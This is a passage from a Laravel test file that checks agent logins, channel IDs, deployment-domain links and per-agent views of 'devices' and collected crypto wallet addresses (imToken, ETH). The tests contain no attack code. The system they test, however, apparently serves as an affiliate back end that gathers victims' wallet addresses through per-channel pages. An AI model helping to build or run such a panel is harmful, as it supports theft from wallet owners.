create([ 'username' => 'agent1', 'password' => 'secret12', 'status' => 1, 'comment' => 'test', ]); $channel = Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $user->id, 'status' => 1, 'remark' => 'demo', ]); config([ 'coruna.channel_domains' => ['cdn.example.com'], 'coruna.deployment_domains' => ['cdn.example.com'], ]); $this->assertDatabaseHas('users', ['username' => 'agent1']); $this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]); $this->assertSame( ['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'], $channel->supportLinks() ); } #[Test] public function disabled_agent_cannot_login(): void { User::query()->create([ 'username' => 'disabled', 'password' => 'secret12', 'status' => 0, ]); $this->post('/user/login', [ 'username' => 'disabled', 'password' => 'secret12', ])->assertSessionHasErrors('username'); $this->assertGuest('agent'); } #[Test] public function enabled_agent_can_login(): void { User::query()->create([ 'username' => 'okagent', 'password' => 'secret12', 'status' => 1, ]); $this->post('/user/login', [ 'username' => 'okagent', 'password' => 'secret12', ])->assertRedirect(route('user.home')); $this->assertAuthenticated('agent'); } #[Test] public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void { config([ 'coruna.channel_domains' => ['fallback.test'], 'coruna.deployment_domains' => ['fallback.test'], ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $projects = Mockery::mock(ChannelProjectService::class); $projects->shouldReceive('generate')->once()->andReturn([ 'channel_id' => 'placeholder', 'seeds' => [ 'deployment_seed' => '11111111111111111111111111111111', 'reporting_seed' => '11111111111111111111111111111111', ], 'domains' => ['deployment' => [], 'reporting' => []], 'seeds_initialized' => false, 'sync_rebuilt' => false, 'support_path' => '/web/x/support.html', 'daily_path' => '/sync/daily.html', ]); $this->app->instance(ChannelProjectService::class, $projects); $random = $this->actingAs($admin, 'admin') ->get(route('admin.channels.randomId')) ->assertOk() ->assertJsonPath('code', 0) ->json('data.channel_id'); $this->assertIsString($random); $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random); $channelId = Channel::randomChannelId(); $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId); $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ 'channel_id' => $channelId, 'user_id' => 0, 'remark' => 'official', 'status' => 1, ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html'); $this->assertDatabaseHas('channels', [ 'channel_id' => $channelId, 'user_id' => 0, 'remark' => 'official', ]); } #[Test] public function agent_only_sees_own_channel_devices_and_addresses(): void { $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]); $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; $chB = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create([ 'device_id' => 'dev-a', 'channel_id' => $chA, 'device_model' => 'iPhone', ]); $devB = Device::query()->create([ 'device_id' => 'dev-b', 'channel_id' => $chB, 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $devA->id, 'address' => 'addr-a', 'source' => 'imToken', 'chain_type' => 'ETH', ]); WalletAddress::query()->create([ 'device_id' => $devB->id, 'address' => 'addr-b', 'source' => 'imToken', 'chain_type' => 'ETH', ]); $this->actingAs($agentA, 'agent') ->getJson(route('user.devices.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.addresses.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.address', 'addr-a'); $this->actingAs($agentA, 'agent') ->get(route('user.devices.show', $devB)) ->assertForbidden(); } #[Test] public function admin_agent_filter_scopes_devices(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]); $ch = 'dddddddddddddddddddddddddddddddd'; Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]); Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]); Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'mine'); } #[Test] public function dashboard_counts_smoke(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']); Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', ['range' => '30d'])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 2) ->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]); } #[Test] public function agent_cannot_create_channel(): void { $agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $this->actingAs($agent, 'agent') ->post('/user/channels', [ 'channel_id' => 'gggggggggggggggggggggggggggggggg', 'status' => 1, ]) ->assertStatus(405); } }